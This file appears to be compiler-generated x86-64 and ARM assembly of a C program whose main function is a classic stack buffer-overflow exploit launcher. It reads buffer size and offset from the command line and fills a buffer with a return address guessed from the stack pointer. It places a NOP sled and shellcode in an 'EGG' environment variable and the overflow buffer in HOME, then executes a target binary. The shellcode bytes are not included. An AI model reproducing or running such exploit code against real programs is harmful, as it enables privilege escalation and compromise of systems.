	.file	"extr_22884.c_main.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC0:
	.string	"Can't allocate memory."
.LC1:
	.string	"Using address: 0x%x\n"
.LC2:
	.string	"EGG="
.LC3:
	.string	"HOME="
	.section	.text.startup,"ax",@progbits
	.p2align 4
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	endbr64
	push	r15
	.cfi_def_cfa_offset 16
	.cfi_offset 15, -16
	push	r14
	.cfi_def_cfa_offset 24
	.cfi_offset 14, -24
	push	r13
	.cfi_def_cfa_offset 32
	.cfi_offset 13, -32
	push	r12
	.cfi_def_cfa_offset 40
	.cfi_offset 12, -40
	push	rbp
	.cfi_def_cfa_offset 48
	.cfi_offset 6, -48
	push	rbx
	.cfi_def_cfa_offset 56
	.cfi_offset 3, -56
	sub	rsp, 8
	.cfi_def_cfa_offset 64
	mov	ebx, DWORD PTR DEFAULT_OFFSET[rip]
	movsx	r12, DWORD PTR EGG_SIZE[rip]
	cmp	edi, 1
	jg	.L2
	movsx	r15, DWORD PTR BUFFER_SIZE[rip]
.L3:
	mov	edi, r15d
	call	malloc@PLT
	mov	r13, rax
	test	rax, rax
	je	.L21
.L4:
	mov	edi, r12d
	call	malloc@PLT
	mov	r14, rax
	test	rax, rax
	je	.L22
.L5:
	xor	eax, eax
	call	get_esp@PLT
	lea	rdi, .LC1[rip]
	sub	eax, ebx
	movsx	rbx, eax
	xor	eax, eax
	mov	rsi, rbx
	call	printf@PLT
	movsx	rax, DWORD PTR ALIGN[rip]
	add	rax, r13
	test	r15d, r15d
	jle	.L6
	lea	edx, -1[r15]
	shr	edx, 2
	lea	rdx, 8[rax+rdx*8]
	.p2align 4,,10
	.p2align 3
.L7:
	add	rax, 8
	mov	QWORD PTR -8[rax], rbx
	cmp	rax, rdx
	jne	.L7
.L6:
	mov	rbp, r14
	xor	ebx, ebx
	jmp	.L8
	.p2align 4,,10
	.p2align 3
.L9:
	mov	eax, DWORD PTR NOP[rip]
	add	rbp, 1
	add	ebx, 1
	mov	BYTE PTR -1[rbp], al
.L8:
	mov	rdi, QWORD PTR shellcode[rip]
	call	strlen@PLT
	mov	ecx, r12d
	sub	ecx, eax
	mov	eax, ecx
	sub	eax, 1
	cmp	eax, ebx
	jg	.L9
	xor	ebx, ebx
	jmp	.L10
	.p2align 4,,10
	.p2align 3
.L11:
	mov	rax, QWORD PTR shellcode[rip]
	mov	eax, DWORD PTR [rax+rbx*4]
	mov	BYTE PTR 0[rbp+rbx], al
	add	rbx, 1
.L10:
	mov	rdi, QWORD PTR shellcode[rip]
	call	strlen@PLT
	cmp	eax, ebx
	jg	.L11
	mov	BYTE PTR -1[r13+r15], 0
	mov	edx, 4
	lea	rsi, .LC2[rip]
	mov	rdi, r14
	mov	BYTE PTR -1[r14+r12], 0
	call	memcpy@PLT
	mov	rdi, r14
	call	putenv@PLT
	mov	edx, 5
	lea	rsi, .LC3[rip]
	mov	rdi, r13
	call	memcpy@PLT
	mov	rdi, r13
	call	putenv@PLT
	mov	edi, DWORD PTR BINARY[rip]
	add	rsp, 8
	.cfi_remember_state
	.cfi_def_cfa_offset 56
	xor	edx, edx
	pop	rbx
	.cfi_def_cfa_offset 48
	pop	rbp
	.cfi_def_cfa_offset 40
	mov	esi, edi
	pop	r12
	.cfi_def_cfa_offset 32
	pop	r13
	.cfi_def_cfa_offset 24
	pop	r14
	.cfi_def_cfa_offset 16
	pop	r15
	.cfi_def_cfa_offset 8
	jmp	execlp@PLT
.L2:
	.cfi_restore_state
	mov	ebp, edi
	mov	rdi, QWORD PTR 8[rsi]
	mov	r13, rsi
	call	atoi@PLT
	movsx	r15, eax
	cmp	ebp, 2
	je	.L3
	mov	rdi, QWORD PTR 16[r13]
	call	atoi@PLT
	mov	ebx, eax
	cmp	ebp, 3
	je	.L3
	mov	rdi, QWORD PTR 24[r13]
	call	atoi@PLT
	movsx	r12, eax
	jmp	.L3
.L22:
	lea	rdi, .LC0[rip]
	call	puts@PLT
	xor	edi, edi
	call	exit@PLT
	jmp	.L5
.L21:
	lea	rdi, .LC0[rip]
	call	puts@PLT
	xor	edi, edi
	call	exit@PLT
	jmp	.L4
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.comm	shellcode,8,8
	.comm	NOP,4,4
	.comm	EGG_SIZE,4,4
	.comm	DEFAULT_OFFSET,4,4
	.comm	BUFFER_SIZE,4,4
	.comm	BINARY,4,4
	.comm	ALIGN,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_22884.c_main.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	"Can't allocate memory.\000"
	.align	2
.LC1:
	.ascii	"Using address: 0x%x\012\000"
	.align	2
.LC2:
	.ascii	"HOME=\000"
	.section	.text.startup,"ax",%progbits
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 0
	@ frame_needed = 0, uses_anonymous_args = 0
	push	{r3, r4, r5, r6, r7, r8, r9, r10, fp, lr}
	ldr	r2, .L24
	ldr	r3, .L24+4
	cmp	r0, #1
	ldr	r4, [r2]
	ldr	r5, [r3]
	bgt	.L2
	ldr	r3, .L24+8
	ldr	r8, [r3]
.L3:
	mov	r0, r8
	bl	malloc
	subs	r6, r0, #0
	beq	.L22
.L4:
	mov	r0, r5
	bl	malloc
	subs	r7, r0, #0
	beq	.L23
.L5:
	bl	get_esp
	sub	r4, r0, r4
	mov	r1, r4
	ldr	r0, .L24+12
	bl	printf
	ldr	r3, .L24+16
	cmp	r8, #0
	subgt	r2, r8, #1
	ldr	r3, [r3]
	bicgt	r2, r2, #3
	add	r3, r6, r3
	addgt	r2, r2, #4
	addgt	r2, r3, r2
	ble	.L9
.L8:
	str	r4, [r3], #4
	cmp	r2, r3
	bne	.L8
.L9:
	ldr	r2, .L24+20
	ldr	r3, .L24+24
	mov	r4, r7
	mov	fp, #0
	ldr	r10, [r2]
	ldrb	r9, [r3]	@ zero_extendqisi2
	b	.L7
.L10:
	strb	r9, [r4], #1
	add	fp, fp, #1
.L7:
	mov	r0, r10
	bl	strlen
	sub	r3, r5, r0
	sub	r3, r3, #1
	cmp	r3, fp
	bgt	.L10
	mov	r9, #0
	b	.L11
.L12:
	ldr	r3, [r10, r9, lsl #2]
	mov	r0, r10
	strb	r3, [r4], #1
	bl	strlen
	add	r9, r9, #1
.L11:
	cmp	r9, r0
	blt	.L12
	mov	r4, #0
	ldr	r3, .L24+28
	add	r5, r7, r5
	add	r8, r6, r8
	strb	r4, [r5, #-1]
	mov	r0, r7
	str	r3, [r7]
	strb	r4, [r8, #-1]
	bl	putenv
	ldr	r3, .L24+32
	ldm	r3, {r0, r1}
	str	r0, [r6]
	strb	r1, [r6, #4]
	mov	r0, r6
	bl	putenv
	ldr	r3, .L24+36
	mov	r2, r4
	ldr	r1, [r3]
	pop	{r3, r4, r5, r6, r7, r8, r9, r10, fp, lr}
	mov	r0, r1
	b	execlp
.L2:
	mov	r6, r0
	ldr	r0, [r1, #4]
	mov	r7, r1
	bl	atoi
	cmp	r6, #2
	mov	r8, r0
	beq	.L3
	ldr	r0, [r7, #8]
	bl	atoi
	cmp	r6, #3
	mov	r4, r0
	beq	.L3
	ldr	r0, [r7, #12]
	bl	atoi
	mov	r5, r0
	b	.L3
.L23:
	ldr	r0, .L24+40
	bl	puts
	mov	r0, r7
	bl	exit
	b	.L5
.L22:
	ldr	r0, .L24+40
	bl	puts
	mov	r0, r6
	bl	exit
	b	.L4
.L25:
	.align	2
.L24:
	.word	DEFAULT_OFFSET
	.word	EGG_SIZE
	.word	BUFFER_SIZE
	.word	.LC1
	.word	ALIGN
	.word	shellcode
	.word	NOP
	.word	1028081477
	.word	.LC2
	.word	BINARY
	.word	.LC0
	.size	main, .-main
	.comm	shellcode,4,4
	.comm	NOP,4,4
	.comm	EGG_SIZE,4,4
	.comm	DEFAULT_OFFSET,4,4
	.comm	BUFFER_SIZE,4,4
	.comm	BINARY,4,4
	.comm	ALIGN,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
